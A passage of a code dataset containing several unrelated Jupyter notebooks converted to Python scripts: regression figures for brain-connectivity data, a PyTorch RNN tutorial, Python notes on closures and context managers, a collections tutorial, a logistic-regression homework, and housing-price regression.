-\n\n\n\n# # Prediction accuracy for P1 amplitudes\n\n# +\nresults = {}\npercentiles = [10, 20, 30, 40, 50, 60, 70, 80, 90, 100, 110, 120, 130, 140, 150, 160, 170, 180, 190]\n\nfor percentile in percentiles:\n\n file_suffix = \"_after_shift_p%02d.csv\" % percentile\n # %run load_connectivity_data.ipynb\n \n results[percentile] = linear_prediction_summary(\n patient_ids, 'min_len', \n ['mean_fa', 'ng_perp'],\n effective_conn_measures[1],\n stepwise = False\n ) \n\nfile_suffix = \"_after_shift_stimulation_site.csv\"\n# %run load_connectivity_data.ipynb\n\nresults['site'] = linear_prediction_summary(\n patient_ids, 'min_len',\n microstructural_conn_measures,\n effective_conn_measures[1],\n stepwise = True\n) \n \n\n# +\ndata = [results[percentiles[0]][0]]\n\nfor percentile in percentiles:\n data.append(results[percentile][1])\n\n# data.append(results['site'][1]) \n\ndata = np.array(data)\n\n# +\nfig = plt.figure(figsize=(7, 3))\n\nax1 = fig.add_subplot(111)\n\n# plt.plot([8.5, 8.5], [-1, 1], color=\"black\", linestyle=\"dashed\")\n# plt.plot([11.5, 11.5], [-1, 1], color=\"black\", linestyle=\"dashed\")\n\nplt.fill_between([13.5, 16.5], -1, 1, color=\"lightgray\")\n\nsns.pointplot(\n data = np.array([data[:, 0], data[:, 0] - data[:, 1], data[:, 0] + data[:, 1]]),\n ci = 100, color=\"C3\"\n)\nplt.xticks(np.arange(0, len(percentiles) + 1), np.array(np.maximum(100, [0] + percentiles)) - 100)\nplt.xlabel(\"Lower limit of streamline lengths [in percentiles]\", labelpad=10)\nplt.ylabel(\"Mean $R^2$ +/- STD\")\nplt.grid(True)\n\nplt.ylim([-0.39, 0.34])\n\n\nax2 = ax1.twiny()\nax2.set_xlim([0, len(percentiles) + 1])\nax2.set_xticks(0.5 + np.arange(0, len(percentiles) + 1))\nax2.set_xticklabels(np.minimum(100, [0] + percentiles))\nax2.set_xlabel(\"Upper limit of streamline lengths [in percentiles]\", labelpad=16)\n\nplt.savefig(\"p1_amplitude_prediction_r2.pdf\", bbox_inches = 'tight')\nplt.savefig(\"p1_amplitude_prediction_r2.eps\", bbox_inches = 'tight')\n\n\n\n# +\nresults = {}\npercentiles = [150] \n\nfor percentile in percentiles:\n\n file_suffix = \"_after_shift_p%02d.csv\" % percentile\n # %run load_connectivity_data.ipynb\n \n results[percentile] = linear_prediction_summary(\n patient_ids, 'min_len', \n ['mean_fa', 'ng_perp'],\n effective_conn_measures[1],\n stepwise = False\n ) \n\n\n# +\nfrom scipy import stats\n\nr2_macro_only = [0.033928277145848895, -0.16346992449335795, -0.18766489797042296, -0.0011492713656560127, 0.3344517904206227, 0.14651611935757192, 0.25914763357947246]\nr2_macro_and_micro = [0.13993622372652004, -0.28389167976818075, 0.04429589929819333, 0.19355756988408568, 0.2549808969801669, 0.15588437233088404, 0.3331760332835061]\n\nstats.ttest_rel(r2_macro_only, r2_macro_and_micro)\n# -\n\n\n","repo_name":"filipp02/ConnecTC","sub_path":"jupyter/regression_models_comparison.ipynb","file_name":"regression_models_comparison.ipynb","file_ext":"py","file_size_in_byte":17811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"12"} +{"seq_id":"70361796181","text":"# +\nimport torch\n\n# torch.nn构建神经网络\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\n\n\n# -\n\n# \n\n# > 上图中表示的是四句话的前两个单词的词向量\n\n# +\n# n_inputs每个输入样本的x(i)的维度,比如一句话的一个词用多少维表示\n# n_neurons:隐藏层的神经单元的个数\n# 在这个例子中,每句话有2个词。\n# -\n\nclass SingleRNN(nn.Module):\n def __init__(self, n_inputs, n_neurons):\n super(SingleRNN, self).__init__()\n \n self.Wx = torch.randn(n_inputs, n_neurons) # 4 X 1\n self.Wy = torch.randn(n_neurons, n_neurons) # 1 X 1\n \n self.b = torch.zeros(1, n_neurons) # 1 X 1\n \n def forward(self, X0, X1):\n self.Y0 = torch.tanh(torch.mm(X0, self.Wx) + self.b) # 4 X 1\n \n self.Y1 = torch.tanh(torch.mm(self.Y0, self.Wy) +\n torch.mm(X1, self.Wx) + self.b) # 4 X 1\n \n return self.Y0, self.Y1\n\n\n# +\nN_INPUT = 4\nN_NEURONS = 1\n\nX0_batch = torch.tensor([[0,1,2,0], [3,4,5,0], \n [6,7,8,0], [9,0,1,0]],\n dtype = torch.float) #t=0 => 4 X 4#4个样本的x0,每个x0用4维表示\n\nX1_batch = torch.tensor([[9,8,7,0], [0,0,0,0], \n [6,5,4,0], [3,2,1,0]],\n dtype = torch.float) #t=1 => 4 X 4\n\nmodel = SingleRNN(N_INPUT, N_NEURONS)\n\nY0_val, Y1_val = model(X0_batch, X1_batch)\n# -\n\nY1_val\n\nY0_val\n\n\n# \n\nclass BasicRNN(nn.Module):\n def __init__(self, n_inputs, n_neurons):\n super(BasicRNN, self).__init__()\n \n self.Wx = torch.randn(n_inputs, n_neurons) # n_inputs X n_neurons\n self.Wy = torch.randn(n_neurons, n_neurons) # n_neurons X n_neurons\n \n self.b = torch.zeros(1, n_neurons) # 1 X n_neurons\n \n def forward(self, X0, X1):\n self.Y0 = torch.tanh(torch.mm(X0, self.Wx) + self.b) # batch_size X n_neurons\n \n self.Y1 = torch.tanh(torch.mm(self.Y0, self.Wy) +\n torch.mm(X1, self.Wx) + self.b) # batch_size X n_neurons\n \n return self.Y0, self.Y1\n\n\n# +\nN_INPUT = 3 # number of features in input\nN_NEURONS = 5 # number of units in layer\n\nX0_batch = torch.tensor([[0,1,2], [3,4,5], \n [6,7,8], [9,0,1]],\n dtype = torch.float) #t=0 => 4 X 3\n\nX1_batch = torch.tensor([[9,8,7], [0,0,0], \n [6,5,4], [3,2,1]],\n dtype = torch.float) #t=1 => 4 X 3\n\nmodel = BasicRNN(N_INPUT, N_NEURONS)\n\nY0_val, Y1_val = model(X0_batch, X1_batch)\n# -\n\nY0_val\n\nY1_val\n","repo_name":"HuangXinzhe/Code_Learning","sub_path":"Common_models/RNN/RNN.ipynb","file_name":"RNN.ipynb","file_ext":"py","file_size_in_byte":2708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"12"} +{"seq_id":"4906441842","text":"# ## Context managers\n#\n# * Менеджеры контекста позволяют компактно управлять ресурсами\n\n# +\nwith acquaire_resource() as r:\n do_smth(r)\n \n \n#это эквивалентно\nr = acquaire_resource()\ntry: \n do_smth(r)\nfinally:\n release_resource()\n# -\n\n# * метод __enter__ инициализирует контекст\n# * метод __exit__ вызывается после выполнения тела оператора with\n\n# ## Contextlib\n\n# * модуль tempfile, syncronized, contextlib\n\n# +\nfrom contextlib import contextmanager\n\n@contextmanager\ndef my_manager(): \n print(\"enter\")\n try: \n ex = yield 123 \n print(ex)\n except Exception: \n print('in exception')\n print(\"exit\")\n\nwith my_manager() as m: \n print(type(m))\n raise Exception(1)\n print(1)\n\n\n# -\n\n# # Замыкания: \n# ``\n# Замыкания(closures): \n# 1) что такое \n# 2) штуки дрюки с контекстом\n# 3) связывание\n# ``\n#\n# In programming languages, closures (also lexical closures or function closures) are techniques for implementing lexically scoped name binding in languages with first-class functions. Operationally, a closure is a record storing a function together with an environment\n\n# +\ndef r(x): \n def adding(y): \n return x+y\n return adding\n\nbounded_f = r(10)\nlist(map(bounded_f, range(10)))\n# -\n\nbounded_f.__closure__\n\nr.__closure__ is None\n\n\ndef r(x): \n def adding(y): \n x.append(y)\n return y\n return adding\nl = []\nr2 = r(l)\nr2(10)\n\n# +\ncalls = []\nfor i in range(3): \n def a(x): \n return i+x \n calls.append(a)\n\nfor call,val in zip(calls,range(3)): \n print(call(val)) \n\n# +\ncalls = []\nfor i in range(3): \n def a(x,i=i): \n return i+x \n calls.append(a)\n \nfor call,val in zip(calls,range(3)): \n print(call(val)) \n# -\n\nc = calls[0]\nc.__kwdefaults__\nlist(map(lambda c: c.__closure__, calls))\n\n\n# # Functors\n# ``\n# In mathematics and computer science, a higher-order function (also functor)\n# is a function that does at least one of the following:\n# 1)takes one or more functions as arguments (i.e., procedural parameters),\n# 2)returns a function as its result.[disputed – discuss]\n# ``\n\n# +\nclass M(object): \n def __init__(self): \n self.cnt=0 \n def __call__(self): \n self.cnt +=1\n return self.cnt-1\n\nm = M()\nm()\n# -\n\nm()\n\n# # Правила поиска переменных\n# ``\n# LEGB(Local -> Enclosed -> Global -> Built-in):\n# Local can be inside a function or class method, for example.\n# Enclosed can be its enclosing function, e.g., if a function is wrapped inside another function.\n# Global refers to the uppermost level of the executing script itself, and\n# Built-in are special names that Python reserves for itself.\n# ``\n\n# ## Imports\n\nimport requests\nrequests.get('http://example.com').text\n\nresp = requests.get('http://example.com')\nfrom requests import Request,Response\ntype(resp)\n\nfrom requests.models import Response as R2\n\ndir(requests)\n\n# +\nimport requests\nfrom requests import *\nfrom requests import Request,Response\n\n\nimport sys \n\n\n\nimport requests \nfrom requests import Response\n\nimport myproject.my_lib\n# -\n\nHTTPError\n\n\n","repo_name":"Tobichimaru/Python","sub_path":"Сontext managers, Closures, Functors, Imports.ipynb","file_name":"Сontext managers, Closures, Functors, Imports.ipynb","file_ext":"py","file_size_in_byte":3296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"15"} +{"seq_id":"14878180380","text":"# ## Lists\n\n# +\n# Lists store sequences (like an Array in Ruby)\nli = []\n# You can start with a prefilled list\nother_li = [4, 5, 6]\n\n# Add stuff to the end of a list with append\nli.append(1) #li is now [1]\nli.append(2) #li is now [1, 2]\nli.append(4) #li is now [1, 2, 4]\nli.append(3) #li is now [1, 2, 4, 3]\n# Remove from the end with pop\nli.pop() #=> 3 and li is now [1, 2, 4]\n# Let's put it back\nli.append(3) # li is now [1, 2, 4, 3] again.\n\n# Access a list like you would any array\nli[0] #=> 1\n# Look at the last element\nli[-1] #=> 3\n\n# Looking out of bounds is an IndexError\nli[4] # Raises an IndexError\n\n# You can look at ranges with slice syntax.\n# (It's a closed/open range for you mathy types.)\nli[1:3] #=> [2, 4]\n# Omit the beginning\nli[2:] #=> [4, 3]\n# Omit the end\nli[:3] #=> [1, 2, 4]\n# Select every second entry\nli[::2] #=>[1,4]\n# Revert the list\nli[::-1] #=> [3, 4, 2, 1]\n# Use any combination of these to make advanced slices\n# li[start:end:step]\n\n# Remove arbitrary elements from a list with \"del\"\ndel li[2] # li is now [1, 2, 3]\n\n# You can add lists\nli + other_li #=> [1, 2, 3, 4, 5, 6] - Note: li and other_li is left alone\n\n# Concatenate lists with \"extend()\"\nli.extend(other_li) # Now li is [1, 2, 3, 4, 5, 6]\n\n# Check for existence in a list with \"in\"\n1 in li #=> True\n\n# Examine the length with \"len()\"\nlen(li) #=> 6\n# -\n\n# ### Challenge\n\n# +\n# What will the following code return?\n\nlist = [1,2,3,4,5]\nlist[1:3]\n# -\n\n# ## Tuples\n\n# +\n# Tuples are like lists but are immutable.\ntup = (1, 2, 3)\ntup[0] #=> 1\ntup[0] = 3 # Raises a TypeError\n\n# You can do all those list thingies on tuples too\nlen(tup) #=> 3\ntup + (4, 5, 6) #=> (1, 2, 3, 4, 5, 6)\ntup[:2] #=> (1, 2)\n2 in tup #=> True\n\n# You can unpack tuples (or lists) into variables\na, b, c = (1, 2, 3) # a is now 1, b is now 2 and c is now 3\n# Tuples are created by default if you leave out the parentheses\nd, e, f = 4, 5, 6\n# Now look how easy it is to swap two values\ne, d = d, e # d is now 5 and e is now 4\n# -\n\n# ## Dictionaries\n\n# +\n# Dictionaries store key-value mappings (like Hashes in Ruby)\nempty_dict = {}\n# Here is a prefilled dictionary\nfilled_dict = {\"one\": 1, \"two\": 2, \"three\": 3}\n\n# Look up values with []\nfilled_dict[\"one\"] #=> 1\n\n# Get all keys as a list with \"keys()\"\nfilled_dict.keys() #=> [\"three\", \"two\", \"one\"]\n# Note - Dictionary key ordering is not guaranteed.\n# Your results might not match this exactly.\n\n# Get all values as a list with \"values()\"\nfilled_dict.values() #=> [3, 2, 1]\n# Note - Same as above regarding key ordering.\n\n# Check for existence of keys in a dictionary with \"in\"\n\"one\" in filled_dict #=> True\n1 in filled_dict #=> False\n\n# Looking up a non-existing key is a KeyError\nfilled_dict[\"four\"] # KeyError\n\n# Use \"get()\" method to avoid the KeyError\nfilled_dict.get(\"one\") #=> 1\nfilled_dict.get(\"four\") #=> None\n# The get method supports a default argument when the value is missing\nfilled_dict.get(\"one\", 4) #=> 1\nfilled_dict.get(\"four\", 4) #=> 4\n\n# \"setdefault()\" inserts into a dictionary only if the given key isn't present\nfilled_dict.setdefault(\"five\", 5) #filled_dict[\"five\"] is set to 5\nfilled_dict.setdefault(\"five\", 6) #filled_dict[\"five\"] is still 5\n# -\n\n# ## Sets\n\n# +\n# Sets store ... well sets\nempty_set = set()\n# Initialize a \"set()\" with a bunch of values\nsome_set = set([1,2,2,3,4]) # some_set is now set([1, 2, 3, 4])\n\n# Since Python 2.7, {} can be used to declare a set\nfilled_set = {1, 2, 2, 3, 4} # => {1, 2, 3, 4}\n\n# Add more items to a set\nfilled_set.add(5) # filled_set is now {1, 2, 3, 4, 5}\n\n# Do set intersection with &\nother_set = {3, 4, 5, 6}\nfilled_set & other_set #=> {3, 4, 5}\n\n# Do set union with |\nfilled_set | other_set #=> {1, 2, 3, 4, 5, 6}\n\n# Do set difference with -\n{1,2,3,4} - {2,3,5} #=> {1, 4}\n\n# Check for existence in a set with in\n2 in filled_set #=> True\n10 in filled_set #=> False\n# -\n\n# ### Challenge\n\n# You will be given an array (or \"list\") of numbers **ar**. Create and print another array of length 2 that just contains the first and last number in the original array.\n\n\n","repo_name":"aymankh86/invent-python-training","sub_path":"2. Collections ( Data Structures).ipynb","file_name":"2. Collections ( Data Structures).ipynb","file_ext":"py","file_size_in_byte":4069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"15"} +{"seq_id":"8774156123","text":"# > ### EEE3314-02: Introduction to Artificial Intelligence\n#\n# # Assignment \\# III: Logistic Regression\n\n#
**Due date: Nov. 2, 2019.**
\n#
**Please upload your file @ yscec by 8PM in the form of [ID_Name.zip].**
\n#
Wonkyung Lee (이원경): leewk92@yonsei.ac.kr
\n#
Geon Lee (이건): 2015142195@yonsei.ac.kr
\n\n# ### *Assignement Instructions:*\n# - Write a program implementing a particular algorithm to solve a given problem. \n# -

**Report and discuss your results. Analyze the algorithm, theoretically and empirically. **

\n#\n# ### *Collaboration policy:*\n# - You may discuss the questions. \n# - Each student writes their own answers. \n# - **Write on your homework anyone with whom you collaborate.** \n# - Each student must write their own code for the programming part (**if not you will get a F grade**).\n\n#

[2015142113] [JunYoung Kim]

\n\n# +\n# %load_ext autoreload\n# %autoreload 2\n\nimport datetime\nprint(\"This code is written at \" + str(datetime.datetime.now()))\n# -\n\n# ## Problem description\n\n# We will implement $Stochastic Gradient Descent (SGD)$ to optimize a logistic regression model to predict whether a given patient have diabetes or not. In clinical informatics, machine learning approahces have been widely adopted to predict clinically adverse events based on patient data. For this problem, we will use the Pima Indians Diabetes Data Set. The data on each patient include:\n#\n# - $\\texttt{label}$: The output class variable (0 - normal or 1 - diabetes) \n# - $\\texttt{num_preg}$: Number of times pregnant \n# - $\\texttt{PGC}$: Plasma glucose concentration at 2 hours in an oral glucose tolerance test (PGC)\n# - $\\texttt{DBP}$: Diastolic blood pressure (DBP)\n# - $\\texttt{tricept}$: Triceps skin fold thickness (tricept, unit: mm) \n# - $\\texttt{insulin}$: 2-Hour serum insulin (insulin, unit: μU/ml)\n# - $\\texttt{BMI}$: Body mass index (BMI)\n# - $\\texttt{ped_func}$: Diabetes pedigree function\n# - $\\texttt{age}$: Age (age, years)\n#\n# Among all 768 patients, we will separate 500 patients as training data ($\\texttt{logistic_regression_training_data.csv}$) and 268 patients as test data ($\\texttt{logistic_regression_test_data.csv}$).\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nfrom P03 import load_data\n\ntrain_csv_path = 'logistic_regression_training_data.csv'\ntest_csv_path = 'logistic_regression_testing_data.csv'\ndf_train = pd.read_csv(train_csv_path)\ndf_test = pd.read_csv(test_csv_path)\n\ndf_train.head()\n\n# +\nX_train, y_train, features = load_data(df_train)\nX_test, y_test, _ = load_data(df_test)\n\nX = {'train': X_train, 'test': X_test}\ny = {'train': y_train, 'test': y_test}\n# -\n\nfeatures\n\n# ### I. Logistic regression method using SGD\n#\n#\n#\n\n# ### P1.1 \n# (*40 points*) P1.1 Implement a logistic regression method using SGD. You may assume that the data is randomly ordered. \n\nfrom P03 import LogisticRegressionSGD\n\niterations = 100000\nlr = 0.8\nnumber_of_ensemble = 1000\n\nlogistic_regression = LogisticRegressionSGD(lr, iterations, number_of_ensemble)\nw = logistic_regression.fit(X, y)\n\nprint(w)\n\n# ### P1.2\n\n# (*10 points*) P1.2 Plot $\\bar L$ every 100 iterations, e.g., [100, 200, 300,...], defined as\n#\n# $\\begin{equation} \\bar L(T) = \\frac{1}{T}\\sum_{t=1}^{T} (\\hat y^t - y^t)^2 \\end{equation}$, \n# where $T$ is the number of iterations and $\\hat y^t$ (either 0 or 1) is the predicted label for sample $\\bf{x}^t$ using the weights $\\bf{w}^{t-1}$. \n#\n# > Initialize the weight vector $w$ and the bias $w_0$ to 0. \n# > Learning rate = 0.8. \n# > Number of iterations = 100,000.\n#\n\n# plot average loss L over the number of steps T\nfig = plt.figure(figsize=(10,6))\nplt.plot(np.arange(len(logistic_regression.avg_loss_over_itr)) * 100, \n logistic_regression.avg_loss_over_itr)\nplt.title('Average loss over iterations on training set', fontsize=20)\nplt.xlabel('Time step', fontsize=20)\nplt.ylabel('Average loss', fontsize=20)\n\n# ### P1.3\n\n# (*10 points*) P1.3 Use the model weights to predict whether each patient in the test set has diabetes, for every 100 steps. Plot average of squared errors of your prediction.\n#\n#
$\\begin{equation} TestError = \\frac{1}{N_{test}}\\sum_{i=1}^{N_{test}} (\\hat y^i - y^i)^2 \\end{equation}$
\n\n# plot sum of squared error over iterations\nplt.figure(figsize=(10,6))\nplt.plot(np.arange(len(logistic_regression.test_error_over_itr)) * 100, \n logistic_regression.test_error_over_itr)\nplt.title('Test error over iterations on test set', fontsize=20)\nplt.xlabel('Time step', fontsize=20)\nplt.ylabel('Squared error', fontsize=20)\n\n# ### II. Model evaluation and feature interpretations \n#\n\n# ### P2.1 \n# (*10 points*) P2.1 Using the model after 100,000 iterations, measure test accuracy. Accuracy is the fraction of predictions our model got right. That is, it is computed by Number of correct predictions / Total number of predictions.\n\naccuracy = logistic_regression.get_accuracy(X['test'], y['test'], w)\nprint(accuracy)\n\n# ### P2.2\n\n# (*5 points*) P2.2 SGD oscillates around a solution (noisy convergence). In order to minimize risk of picking bad weights, we typically use an average model. Measure test accuracy again, using an average model over the weights for the last 1000 iterations\n#\n\nlogistic_regression.w_ensemble\n\naccuracy_ensemble = logistic_regression.get_accuracy(\n X['test'], y['test'], logistic_regression.w_ensemble)\nprint(accuracy_ensemble)\n\n# ### P2.3\n\n#\n# (*5 points*) P2.3 Report the weights of following features, $\\texttt{BMI}$, $\\texttt{insulin}$, and $\\texttt{PGC}$\n\nfrom P03 import get_indices_of_fields\n\nfields = np.array(['BMI', 'insulin', 'PGC'])\nindices = get_indices_of_fields(fields, features)\n\nlogistic_regression.w_ensemble[indices]\n\n#\n# # Result Analysis and Discussion (20 points)\n#\n#\n\n# For result analysis and discussion, you can use all functions defined above. Also you can make your own functions or scripts.\n#\n# Your answer must include the analysis about:\n#\n# - Difference between Stochastic Gradient Descent and Batch Gradient Descent.\n# - Influence of each feature in classifying diabetes.\n# - Effect of applying the ensemble technique.\n\n# - Difference between Stochastic Gradient Descent and Batch Gradient Descent.\n#\n# Batch Gradient Descent(BGD)는 모든 데이터 sample에 대해 gradient를 구한 후, 그 gradient들의 합에 해당하는 최종 gradient의 반대 방향으로 계속해서 이동해 최소값을 찾는 방법이다. 이 방법은 현재의 위치에서 최소값으로 가는 최적의 방향을 찾아서 이동한다는 장점이 있지만, 계산량이 총 데이터 sample 수 N의 값에 영향을 받기 때문에, N의 값이 커지면 계산 시간이 오래 걸린다는 단점이 있다. 이와 달리 Stochastic Gradient Descent(SGD)는 모든 데이터 sample이 아닌 임의의 하나의 sample에 대해 gradient를 구해, 그 gradient의 반대 방향으로 이동해 나가는 방법이다. 즉, 어떠한 하나의 sample의 gradient가 전체의 gradient를 대변한다고 가정하는 방법이다. 이 방법은 임의의 방향으로 이동하기 때문에 Descent를 원하는 경우, 가끔 Ascent하는 방향으로 이동할 수 있지만, 대부분의 방향이 Descent하는 방향임을 이용해 평균적으로는 최솟값의 방향으로 진전해 나가는 특징을 이용하였다. 임의의 하나의 sample만 사용하기 때문에 SGD는 계산량이 N값에 영향을 받지 않아 Large N을 갖는 데이터들의 최적화 방식에 주로 사용된다. 하지만, SGD는 Noisy한 Convergence 결과를 갖게 되므로 대부분 iteration 끝부분의 몇개의 Coefficient w값들을 선택해 그들의 평균으로 w값을 이용하여 잘못된 pick으로 인한 error 효과를 줄인다. 위에서도 w값이 아닌 w_ensemble 값을 최종 Model의 Coefficient값으로 사용하는 것을 볼 수 있다.\n#\n\n# - Influence of each feature in classifying diabetes.\n#\n# P2-2에서 확인 할 수 있는 w_ensemble값을 보면, 총 8가지의 feature 중 PGC의 값이 약 11.74의 weight로 가장 Diabetes로 분류되는데에 큰 역할을 하는 것을 알 수 있다. 그 다음은 BMI가 약 7.3의 weight로 비교적 큰 영향을 미치는 것을 알 수 있다. num_preg, ped_func, age도 값이 클 수록 Diabetes로 판명날 확률을 높게 만든다. DBP, tricept, insulin들은 음의 weight값을 가지는 걸 보아 Diabetes가 아닌 것으로 분류되는 것에 힘을 실어주는 것을 알 수 있다. 하지만 tricept같은 경우는 그 weight 절댓값이 매우 작은 것을 보아, Diabete와 큰 연관이 없을 확률이 있다. Intercept의 weight같은 경우 약 -12.3의 값을 갖는다. 이는 feature들과 각 weight들로 Score를 구했을 때, 그 값이 -12.3보다 크면 Diabete일 확률이 50%이상이 되어 Diabete로 분류되게 된다는 의미를 갖는다.\n\n# - Effect of applying the ensemble technique\n#\n# 첫번째 항목에서도 말했다시피, SGD방법은 최솟값으로의 최적의 방향을 찾아 이동하는 것이 아니기 때문에, Noisy한 Convergence 결과를 가지게 된다. P1-3의 Test error over iterations 그래프를 보면, 100번의 step마다 그 때의 w값을 가지고 test error를 측정한 결과를 볼 수 있는데, test error가 어느 순간부터 줄지 않고 계속 비슷한 크기로 Noisy하게 흔들리는 것을 알 수 있다. 100000번의 iteration 중, 99890번째의 w를 사용했을 때는 작은 error값이 나왔는데, 99900번째의 w를 사용했을 때는 큰 error값이 나올 수 있다는 것이다. 따라서, 잘못된 iteration 횟수의 선택으로 큰 test error값을 가지게 되는 risk를 줄이기 위해, Convergence 부분의 여러개의 w 값들을 평균내, w_ensemble 값을 w로서 사용한다. 이렇게 w_ensemble을 사용하면, 그냥 최종 w를 사용했을 때에 비해 P2-1과 P2-2에서 보다시피 Model의 Accuracy가 약 0.6791에서 0.7276로 0.0485정도 증가되는 효과를 가져올 수 있다.\n\n\n","repo_name":"nestybber/basicAI","sub_path":"HW3 _ logistic regression/03_logistic_regression.ipynb","file_name":"03_logistic_regression.ipynb","file_ext":"py","file_size_in_byte":10353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"15"} +{"seq_id":"18442403478","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# Read in and explore data\ndf = pd.read_csv(\"realtor-data.csv\")\ndf.shape\n\ndf.head()\n\ndf.duplicated().sum()\n\ndf.drop_duplicates(keep='first', inplace=True)\ndf.shape\n\ndf = df.drop(columns=['status','full_address','street', 'state', 'sold_date'])\ndf = df.dropna(axis=0, how=\"any\")\nprint(df.shape)\nprint(df.isna().sum().sum())\n\ndf.city.value_counts()[0:10]\n\n# We will do Boston, Worcester, and Springfield seperately.\ndf_bos = df.loc[df.city=='Boston']\ndf_pro = df.loc[df.city=='Providence']\nprint(df_bos.shape, df_pro.shape)\n\n# df_bos\ndf_bos = df_bos.reset_index(drop=True)\ndf_bos = df_bos.drop(columns=['city'])\ndf_bos.head()\n\n# df_pro\ndf_pro = df_pro.reset_index(drop=True)\ndf_pro = df_pro.drop(columns=['city'])\ndf_pro.head()\n\n# EDA\nimport seaborn as sns\nsns.kdeplot(df_bos['price'], shade=True)\nplt.title('Boston House Price')\nplt.show()\n\nsns.kdeplot(df_pro['price'], shade=True)\nplt.title('Providence House Price')\nplt.show()\n\nsns.lineplot(data=df_bos, x=df_bos['house_size'], y=df_bos['price'])\nplt.title(\"Boston\")\nplt.show()\n\nsns.lineplot(data=df_pro, x=df_pro['house_size'], y=df_pro['price'])\nplt.title(\"Providence\")\nplt.show()\n\nsns.scatterplot(data=df_bos, x=df_bos['bed'], y=df_bos['price'], marker=\"+\")\nplt.title(\"Boston\")\nplt.show()\n\nsns.scatterplot(data=df_pro, x=df_pro['bed'], y=df_pro['price'], marker=\"+\")\nplt.title(\"Providence\")\nplt.show()\n\n# Remove outliers\nfrom scipy import stats\ndf_bos = df_bos[(np.abs(stats.zscore(df_bos['house_size'])) < 3)]\ndf_pro = df_pro[(np.abs(stats.zscore(df_pro['house_size'])) < 3)]\nprint(df_bos.shape, df_pro.shape)\n\n# Visualization after removing outliers\nsns.lineplot(data=df_bos, x=df_bos['house_size'], y=df_bos['price'])\nplt.title(\"Boston\")\nplt.show()\n\nsns.scatterplot(data=df_bos, x=df_bos['bed'], y=df_bos['price'], marker=\"+\")\nplt.title(\"Boston\")\nplt.show()\n\n# zip code\ndf_bos.zip_code.value_counts()\n\ndf_pro.zip_code.value_counts()\n\nplt.figure(figsize=(7,5))\nsns.scatterplot(data=df_pro, x=df_pro['house_size'], y=df_bos['price'], hue=\"zip_code\")\nplt.title(\"Providence\")\nplt.show()\n\ndf_pro.groupby(df_pro.zip_code)[\"price\"].mean()\n\n# Remove column zip_code but save it\nbos_zip = list(df_bos.zip_code.unique())\npro_zip = list(df_pro.zip_code.unique())\ndf_bos = df_bos.drop(columns=['zip_code'])\ndf_pro = df_pro.drop(columns=['zip_code'])\nprint(df_bos.shape, df_pro.shape)\n\n# Scaling data and split\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import MinMaxScaler\nX_bos = df_bos.drop(columns=['price'])\ny_bos = df_bos['price']\nX_bos_train, X_bos_test, y_bos_train, y_bos_test = train_test_split(X_bos, y_bos, test_size=0.2, random_state=42)\n\n# +\nX_pro = df_pro.drop(columns=['price'])\ny_pro = df_pro['price']\nX_pro_train, X_pro_test, y_pro_train, y_pro_test = train_test_split(X_pro, y_pro, test_size=0.2, random_state=42)\n\nscaler_bos = MinMaxScaler()\nX_bos_train_scaled = scaler_bos.fit_transform(X_bos_train)*10 # fit it on the training data Bos\nscaler_pro = MinMaxScaler()\nX_pro_train_scaled = scaler_pro.fit_transform(X_pro_train)*10 # fit it on the training data Pro\n\nprint(X_bos_train_scaled.shape, y_bos_test.shape, X_pro_train_scaled.shape, y_pro_test.shape)\n# -\n\nprint(X_bos_train_scaled.min(), X_bos_train_scaled.max(), X_pro_train_scaled.min(), X_pro_train_scaled.max())\n\n# Boston\n# Linear Regression\nfrom sklearn.linear_model import LinearRegression\nlin_reg = LinearRegression()\nlin_reg.fit(X_bos_train_scaled, y_bos_train)\n\nlin_reg.intercept_, lin_reg.coef_\n\nX_bos_test_scaled = scaler_bos.transform(X_bos_test)*10\nlin_reg.score(X_bos_train_scaled, y_bos_train)\nlin_reg.score(X_bos_test_scaled, y_bos_test)\n\n# Ridge Regression\nfrom sklearn.linear_model import Ridge\nalphas = [0.001, 0.01, 0.1, 1, 10, 100, 500]\nfor a in alphas:\n ridge = Ridge(alpha = a)\n ridge.fit(X_bos_train_scaled, y_bos_train)\n print(f'alpha = {a}')\n print(\"lr.coef_: %s\" % ridge.coef_)\n print(\"lr.intercept_: %s\" % ridge.intercept_)\n print(\"training set score: %f\" % ridge.score(X_bos_train_scaled, y_bos_train))\n print(\"test set score: %f\" % ridge.score(X_bos_test_scaled, y_bos_test))\n print('-----------------')\n\n# Choose alpha = 100\nridge = Ridge(alpha = 100)\nridge.fit(X_bos_train_scaled, y_bos_train)\nridge.score(X_bos_test_scaled, y_bos_test)\n\n# Polynomial Regression\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.preprocessing import PolynomialFeatures\ndegree = [2,3,4]\nfor d in degree:\n poly_reg = Pipeline([\n (\"poly_features\", PolynomialFeatures(degree=d, include_bias=False)),\n (\"lin_reg\", LinearRegression()),\n ])\n poly_reg.fit(X_bos_train_scaled, y_bos_train)\n print(poly_reg.score(X_bos_train_scaled, y_bos_train))\n print(poly_reg.score(X_bos_test_scaled, y_bos_test))\n print(\"----------------\")\n\n\n# KNN\nfrom sklearn import neighbors\nfor k in range(1, 20):\n knn = neighbors.KNeighborsRegressor(n_neighbors = k)\n knn.fit(X_bos_train_scaled, y_bos_train)\n print(f\"neighbors: {k}\", knn.score(X_bos_train_scaled, y_bos_train), knn.score(X_bos_test_scaled, y_bos_test))\n\n# Choose k=10\nknn = neighbors.KNeighborsRegressor(n_neighbors = 10)\nknn.fit(X_bos_train_scaled, y_bos_train)\nprint(\"neighbors: 10 \", knn.score(X_bos_train_scaled, y_bos_train), knn.score(X_bos_test_scaled, y_bos_test))\n\n# XGB Regression\nfrom xgboost.sklearn import XGBRegressor\nxgb_reg = XGBRegressor(max_depth=10, eta=0.026)\nxgb_reg.fit(X_bos_train_scaled, y_bos_train)\nprint(xgb_reg.score(X_bos_train_scaled, y_bos_train), xgb_reg.score(X_bos_test_scaled, y_bos_test))\n\n# Choose XGB 